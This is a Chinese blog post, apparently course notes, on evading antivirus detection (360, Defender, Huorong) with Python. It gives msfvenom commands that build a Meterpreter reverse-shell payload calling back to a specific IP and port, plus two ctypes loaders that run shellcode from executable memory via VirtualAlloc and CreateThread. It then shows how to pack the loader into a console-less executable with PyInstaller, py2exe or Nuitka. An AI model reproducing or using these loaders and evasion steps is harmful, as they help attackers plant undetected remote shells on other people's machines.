第108天:免杀对抗-Python混淆算法反序列化打包生成器Py2exeNuitka

news/2024/10/12 22:03:41


image

知识点

#知识点:

1、Python-对执行代码做文章
2、Python-对shellcode做文章
3、Python-对代码打包器做文章

#章节点:

编译代码面-ShellCode-混淆
编译代码面-编辑执行器-编写
编译代码面-分离加载器-编写
程序文件面-特征码定位-修改
程序文件面-加壳花指令-资源
代码加载面-Dll反射劫持-加载
权限逻辑面-杀毒进程干扰-结束
工具数据面-通讯内存流量-动态

对抗目标:
X60 Defender 某绒 管家 VT等

编程语言:
C/C++ Python C# Go Powershell Ruby Java ASM等

涉及技术:
ShellCode混淆加密,无文件落地,分离拆分,白名单,DLL加载,Syscall,加壳加花,
资源修改,特征修改,二次开发CS,内存休眠,进程注入,反沙盒,反调试,CDN解析等

演示案例

1、Python-原生态-MSF&CS&生成&执行代码

2、Python-混淆加密-Base64&AES&反序列化等

3、Python-打包器选择-Pyinstall&Py2exe&Nuitka

#Python-原生态-MSF&CS&生成&执行代码

msfvenom -p windows/meterpreter/reverse_tcp lhost=47.94.236.117 lport=6688 -f c
cs 生成payload c或python

执行代码1:
rwxpage = ctypes.windll.kernel32.VirtualAlloc(0, len(shellcode), 0x1000, 0x40)
ctypes.windll.kernel32.RtlMoveMemory(rwxpage, ctypes.create_string_buffer(shellcode), len(shellcode))
handle = ctypes.windll.kernel32.CreateThread(0, 0, rwxpage, 0, 0, 0)
ctypes.windll.kernel32.WaitForSingleObject(handle, -1)

执行代码2:
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
ctypes.c_int(len(shellcode)),
ctypes.c_int(0x3000),
ctypes.c_int(0x40))
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr),
buf,
ctypes.c_int(len(shellcode)))
ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),
ctypes.c_int(0),
ctypes.c_int(ptr),
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.pointer(ctypes.c_int(0)))
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht),ctypes.c_int(-1))

#Python-混淆加密-Base64&AES&反序列化等

Ps:具体见代码及讲解思路
msfvenom -p windows/meterpreter/reverse_tcp --encrypt base64 lhost=47.94.236.117 lport=6688 -f c
另外的Xor,Rc4等加密算法都可以实现测试

#Python-打包器选择-Pyinstall&Py2exe&Nuitka

1、pyinstaller
-F, –onefile 打包一个单个文件,如果你的代码都写在一个.py文件的话,可以用这个,如果是多个.py文件就别用
-D, –onedir 打包多个文件,在dist中生成很多依赖文件,适合以框架形式编写工具代码,我个人比较推荐这样,代码易于维护
-K, –tk 在部署时包含 TCL/TK
-a, –ascii 不包含编码.在支持Unicode的python版本上默认包含所有的编码.
-d, –debug 产生debug版本的可执行文件
-w,–windowed,–noconsole 使用Windows子系统执行.当程序启动的时候不会打开命令行(只对Windows有效)
-c,–nowindowed,–console 使用控制台子系统执行(默认)(只对Windows有效)
使用:pyinstaller -F test.py

2、py2exe
安装:pip install py2exe
打包:python setup.py py2exe
代码:
setup.py
from distutils.core import setup
import py2exe
INCLUDES = ['108-pickle-release'] #注意修改脚本项目名

options = {
"py2exe":
{
"compressed": 1, # 0或1,1压缩,0不压缩
"optimize": 2, # 0、1、2,文件的优化级别
"bundle_files": 1, # 1、2、3,1表示所有文件打包成一个exe文件,2表示除了Python的解释器外都绑定,3表示不绑定
"includes": INCLUDES, # 列表,包含其它的一些模块
"dll_excludes": ['MSVCP90.dll'] # 列表,包含的dll文件不会打包进exe程序
}
}
setup(
version='1.0.0',
options=options,
description="this is a xiaodi test",
zipfile=None, # 公用文件的压缩文件名称,默认为“library.zip”;如果没有,则会将这些文件放在最终的exe文件中
console=[{"script": '108-pickle-release.py'}] # 生成一个控制台形式的exe程序,对应的有windows=[],生成GUI形式的exe程序
)

3、Nuitka
--standalone:方便移植到其他机器,不用再安装python
--show-memory --show-progress:展示整个安装的进度过程
--nofollow-imports:不编译代码中所有的import
--follow-import-to=utils,src:需要编译成C++代码的指定的2个包含源码的文件夹,这里用,来进行分隔。
--output-dir=out:指定输出的结果路径为out。
--windows-disable-console:运行exe取消弹框。
--mingw64 #默认为已经安装的vs2017去编译,否则就按指定的比如mingw(官方建议)
--standalone 独立环境,这是必须的(否则拷给别人无法使用)
--windows-disable-console 没有CMD控制窗口
--output-dir=out 生成exe到out文件夹下面去
--show-progress 显示编译的进度,很直观
--show-memory 显示内存的占用
--include-qt-plugins=sensible,styles 打包后PyQt的样式就不会变了
--plugin-enable=qt-plugins 需要加载的PyQt插件
--plugin-enable=tk-inter 打包tkinter模块的刚需
--plugin-enable=numpy 打包numpy,pandas,matplotlib模块的刚需
--plugin-enable=torch 打包pytorch的刚需
--plugin-enable=tensorflow 打包tensorflow的刚需
--windows-icon-from-ico=你的.ico 软件的图标
--windows-company-name=Windows下软件公司信息
--windows-product-name=Windows下软件名称
--windows-file-version=Windows下软件的信息
--windows-product-version=Windows下软件的产品信息
--windows-file-description=Windows下软件的作用描述
--windows-uac-admin=Windows下用户可以使用管理员权限来安装
--linux-onefile-icon=Linux下的图标位置
--onefile 像pyinstaller一样打包成单个exe文件
--include-package=复制比如numpy,PyQt5 这些带文件夹的叫包或者轮子
--include-module=复制比如when.py 这些以.py结尾的叫模块
使用:nuitka --mingw64 --standalone --show-memory --show-progress --nofollow-imports --follow-import-to=utils,src --output-dir=out 108.py

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.ryyt.cn/news/70831.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈,一经查实,立即删除!

相关文章

107-免杀对抗-CC++溯源ShellCode上线混淆变异算法回调编译执行

知识点 #知识点: 1、ShellCode-分析&朔源&感知 2、ShellCode-混淆&编码&算法 3、回调执行解析-API&汇编&句柄 #章节点: 编译代码面-ShellCode-混淆 编译代码面-编辑执行器-编写 编译代码面-分离加载器-编写 程序文件面-特征码定位-修改 程序文件面-加…

axios二次封装

axios二次封装有利于减少代码量,更好的管理api ①在src目录下创建api目录。api目录用于存放今后页面不同模块的接口信息。 具体的接口含义如下:②将来要实现的效果如下:import axiosRequest from "./utils/request/http"; axiosRequest({path: "product"…

IDEA中git提交前如何关闭code analysis以及开启格式化代码

前言 我们在使用IDEA开发时,经常是和GIT一起来使用的,可以说,IDEA和GIT结合的非常好,是深度绑定的,使用起来非常方便。 今天,介绍一下IDEA在提交代码前的一些设置。 我们是不是经常遇到一个问题,那就是我们在执行commit和push的时候,IDEA默认会执行代码检查,这是保证我…

idea-java序列化serialversionUID自动生成

简介 java.io.Serializable 是 Java 中的一个标记接口(marker interface),它没有任何方法或字段。当一个类实现了 Serializable 接口,那么这个类的对象就可以被序列化和反序列化。序列化是将对象的状态转换为字节流的过程,这样可以方便地将对象存储到文件中或者通过网络传…

高级语言程序设计课程第三次个人作业

姓名:林永庆 学号:102400121 班级:https://edu.cnblogs.com/campus/fzu/2024C 作业:https://edu.cnblogs.com/campus/fzu/2024C/homework/13284 4.8 2 记得是\n3 指数是%e4 数组保存名字6 %d 可以动态指定长度7 FLT_DIG是%d形式的8 注意type5.11 1 局部变量和全局变量的区别…

记一次docker overlay2目录空间占用过高问题

背景 最近需要频繁本地构建镜像以及调试 POD,导致磁盘空间告警 分析 查看当前磁盘使用情况# df -h发现这个目录下占用了不少空间 docker 常见的造成磁盘告警的原因有,知道原因之后就可以开始清理工作了/var/lib/docker/containers # 容器 /var/lib/docker/volumes # 数据卷…

IP数据报

IP数据报的格式 一个IP分组(或称IP数据报)由首部和数据部分组成。首部前一部分的长度固定,共20B,是所有IP分组必须具有的。在首部固定部分的后面是一些可选字段,其长度可变,用来提供错误检测及安全等机制。IP数据报的格式如图4.5所示。版本。占4位。指IP的版本,IPv4数据报中…

辐射换热

热力学u能-电磁波能-热力学能 辐射角度不同强度不同 温度不同,波长不同波长*频率=3*10,8真空中光的传播速度 可见光波长0.38紫色--0.76红色热辐射又称为红外辐射吸收率+反射率+穿透率=1深处黑房间光进去基本出来少看着黑开尔文温度实际物体辐射力小于黑体凹x有,凸x1-1为0